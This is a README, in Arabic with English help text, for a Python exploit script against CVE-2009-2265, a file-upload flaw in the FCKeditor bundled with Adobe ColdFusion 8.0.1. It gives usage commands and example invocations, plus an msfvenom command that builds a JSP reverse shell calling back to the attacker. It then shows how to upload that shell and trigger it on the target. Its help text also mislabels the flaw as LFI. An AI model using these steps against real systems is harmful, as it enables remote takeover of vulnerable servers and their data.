
cf8-upload.py | CVE-2009-2265
نص برمجي بلغة Python 3 لاستغلال CVE-2009-2265.
يستغل البرنامج النصي ثغرة موجودة في FCKeditor < 2.6.4.1 والتي تم تضمينها في Adobe ColdFusion 8.0.1:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
يتيح البرنامج النصي للمستخدم إرسال ملف لرفعه إلى جهاز مستهدف يعمل بنظام ColdFusion 8.0.1 وتنفيذه.
pip3 install requests
بعد تحديد هدف يعمل بنظام Adobe ColdFusion 8.0.1، قم بالتشغيل باستخدام:
chmod +x cf8-upload.py
./cf8-upload.py -h
أو
python3 cf8-upload.py -h
يُظهر الخيار -h أو --help كيفية تشغيل البرنامج النصي مع بعض الأمثلة. يوجد وسيطان موضعيان وعدد قليل من الوسائط الاختيارية.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
يستخدم Adobe ColdFusion المنفذ 8500 افتراضيًا، ولكن يجب تحديد المسار الكامل للخادم عند تنفيذ البرنامج النصي.
قد يكون التثبيت الافتراضي لـ ColdFusion موجودًا في الدليل الجذر على المنفذ 8500، وفي هذه الحالة سيكون x.x.x.x:8500 كافيًا على الأرجح كوسيطة العنوان عند تنفيذ البرنامج النصي.
بشكل افتراضي، يطبع cf8-upload.py المخرجات إلى الطرفية بالألوان وبعض التنسيقات الإضافية، لكن هذا ليس مفيدًا دائمًا لمن يستخدمون قارئات الشاشة. استخدام وسيطة --accessible سيعطّل التنسيقات الزخرفية والألوان من الطباعة إلى الطرفية. كما سيعطّل أيضًا فن ASCII.
هذا العلم يجعل البرنامج النصي ينفذ طلب GET إلى الملف، وفقط بعد رفعه بنجاح. يكون هذا الخيار مفيدًا إذا كان المستخدم يرفع قشرة عكسية من نوع ما إلى التطبيق المعرّض للثغرة ويريد تشغيلها فورًا. لا تتم طباعة محتوى طلب GET إلى الطرفية، فهو يعمل فقط على تشغيل الحدث على الخادم.
يستطيع Adobe ColdFusion القراءة من ملفات .jsp، لذلك يمكن إنشاء قشرة عكسية في msfvenom بشيء بسيط مثل:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
ومن ثم رفعه:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
قد لا يكون تطبيق Adobe ColdFusion 8.0.1 قادرًا على استبدال الملفات الموجودة التي تم رفعها باستخدام البرنامج النصي للاستغلال. في هذه الحالة، قد يؤدي رفع ملف مختلف بنفس اسم ملف تم رفعه سابقًا إلى حدوث انتهاء مهلة (timeouts) أثناء عملية الرفع.
قد تحتاج إلى إعادة تسمية الملف الذي تريد رفعه إلى اسم آخر قبل محاولة إعادة الرفع.
كان البرنامج النصي في الأساس تمرينًا على إنشاء برنامج قصير وشامل ومكتفٍ بذاته لاستغلال واحد، مع مراعاة سهولة القراءة وإمكانية الوصول معًا.
https://skerritt.blog/a11y/ - تنفيذ إمكانية الوصول.